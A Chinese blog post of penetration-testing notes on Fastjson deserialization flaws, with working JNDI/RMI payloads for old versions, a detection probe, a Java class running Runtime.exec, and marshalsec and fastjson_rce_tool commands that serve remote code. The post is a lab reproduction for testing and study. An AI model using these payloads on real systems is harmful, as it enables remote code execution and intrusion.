• 欢迎访问开心洋葱网站,在线教程,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站,欢迎加入开心洋葱 QQ群
  • 为方便开心洋葱网用户,开心洋葱官网已经开启复制功能!
  • 欢迎访问开心洋葱网站,手机也能访问哦~欢迎加入开心洋葱多维思维学习平台 QQ群
  • 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏开心洋葱吧~~~~~~~~~~~~~!
  • 由于近期流量激增,小站的ECS没能经的起亲们的访问,本站依然没有盈利,如果各位看如果觉着文字不错,还请看官给小站打个赏~~~~~~~~~~~~~!

fastjsion反序列化漏洞渗透测试笔记

JAVA相关 云牧青 2548次浏览 0个评论

本文原创地址:https://www.cnblogs.com/yunmuq/p/14268028.html

一、背景

fastjsion是阿里的开源Java工具:https://github.com/alibaba/fastjson

能快速地将对象序列化为json字符串,或进行反序列化

其速度和效率在同类型工具中遥遥领先,但曾被曝出存在高危漏洞

漏洞主要分布于1.2.68及以下的版本中,在将json反序列化为对象时,存在代码执行漏洞

如果一些项目未更新到最新版本,则存在安全漏洞

二、Payload

2.1 版本<1.2.25

{
      "@type":"com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName":"rmi://localhost:1099/Exploit",
      "autoCommit":true
}

2.1 版本<1.2.48

{
      "x":{
            "@type":"java.lang.Class",
            "val":"com.sun.rowset.JdbcRowSetImpl"
      },
      "x":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://ip:port/Exploit",
            "autoCommit":true
      }
}

2.1 版本<1.2.68

1.2.47都是18年发布的版本了,上述两个payload是广为流传的版本,都是利用RMI、LDAP进行远程命令执行(RCE)

而1.2.68是20年新发布的版本,它修复了今年被爆出的安全漏洞

在1.2.68之前的版本,fastjson被发现还能利用异常进行攻击

但是利用难度较大,作者暂时没有找到好的利用链

虽然不能RCE,但是想验证存在漏洞还是有方法的

fastjson早从v1.2.25开始就默认不支持autotype,但是如果网站后端>>>开启autotype的话,还是可以证明的

payload参考 https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

{
      "@type":"javax.swing.JEditorPane",
      "page": "http://ip:port"
}

这边用nc收听请求就行

2.1 后续版本

如果网站未自定义错误信息的话,可以使用以下payload曝出版本,一般我们认为低于1.2.68就是不安全的

{"@type":"java.lang.AutoCloseable"

//不用怀疑,这就是不完整的json格式

三、RCE利用漏洞复现

关于早期能远程命令执行的版本的漏洞复现。

3.1 搭建fastjson项目

想要复现RCE漏洞最关键的要素是JDK版本,编译运行fastjson项目的jdk建议是 JDK8,作者使用 jdk-11.0.9 没成功,使用 jdk1.8.0_112 成功了

简单的验证很简单,无需spring项目和Tomcat,创建最简单的Java项目即可

觉得不想安装maven的,或觉得maven更改版本麻烦的,可以从maven中央库下载fastjson的jar包,并添设置项目属性加到依赖中,这里的版本最齐全:https://repo1.maven.org/maven2/com/alibaba/fastjson/

阿里云的镜像无法从浏览器访问,如果安装了maven可以使用maven项目

实现代码虽然不长,但是影响阅读,我放另一个页面中吧

>>>实现代码

准备好RMI、LDAP服务再运行

3.2 RMI、LDAP服务搭建

简单地说一下原理,作者自己也不是十分了解

当fastjson可以反序列化一些类时,怎么让服务器执行自己想要的代码呢

这就需要寻找一个利用链,com.sun.rowset.JdbcRowSetImpl的好处是,他是Java官方的类库

其中的lookup方法支持调用远程接口,我们把想要运行的代码放在远程接口中,触发服务器来调用即可

在前人已经为我们寻找好利用链之后,剩下的一步是搭建RMI、LDAP服务,自己写代码是比较困难的,好在这一步也有工具可用

3.2.1 使用marshalsec

不推荐,但是在网络上流传甚广,这里也介绍一下

虽然免去写代码就能搭建RMI、LDAP服务器,但是需要安装python来提供http服务、需要maven来编译此工具,且编译的jdk版本需要在1.8.0_112及以下

这是项目地址:https://github.com/mbechler/marshalsec

远程调用的过程是,服务器通过RMI、LDAP访问我们的主机,我们的主机再转发到一个http端口上,把事先编译好的.class文件给服务器运行即可

具体步骤是:①在一个文件夹下编译

import java.lang.Runtime;
import java.lang.Process;

public class Exp {

    public Exp() {
        try{
            // 要执行的命令
            String commands = "calc";
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch(Exception e){
            e.printStackTrace();
        }

    }

    public static void main(String[] argv) {
        Exp e = new Exp();
    }

}

②使用 python -m http.server 80 在此文件夹下开启一个http服务

③使用 java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip/#Exp 运行RMIRefServer

④payload中的地址则是 “rmi://ip` ,rmi默认端口是1099,http默认端口是80

3.2.2 使用fastjson_rce_tool

强烈推荐

相比marshalsec优点在于,不用编译,无需自己编写利用类Exploit,无需自己开启http服务,最重要的是运行fastjson_rce_tool不受JDK限制,使用JDK11也可

项目地址:https://github.com/wyzxxz/fastjson_rce_tool

使用方法:java -cp fastjson_tool.jar fastjson.HRMIServer IP port " 想要执行的命令 "

命令行会给出payload

不足是,当运行fastjson的Java版本是jdk11时,这边能收到服务器远程调用的请求,命令却无法被执行

本文参考文章:
https://zhuanlan.zhihu.com/p/157211675
https://www.cnblogs.com/sijidou/p/13121332.html

(๑•̀ㅂ•́)و

往期精彩文章推荐:

《zookeeper未授权访问渗透测试及修复方法》

《安装nginx并安全地配置和启动》


开心洋葱 , 版权所有丨如未注明 , 均为原创丨未经授权请勿修改 , 转载请注明fastjsion反序列化漏洞渗透测试笔记
喜欢 (0)

您必须 登录 才能发表评论!

加载中……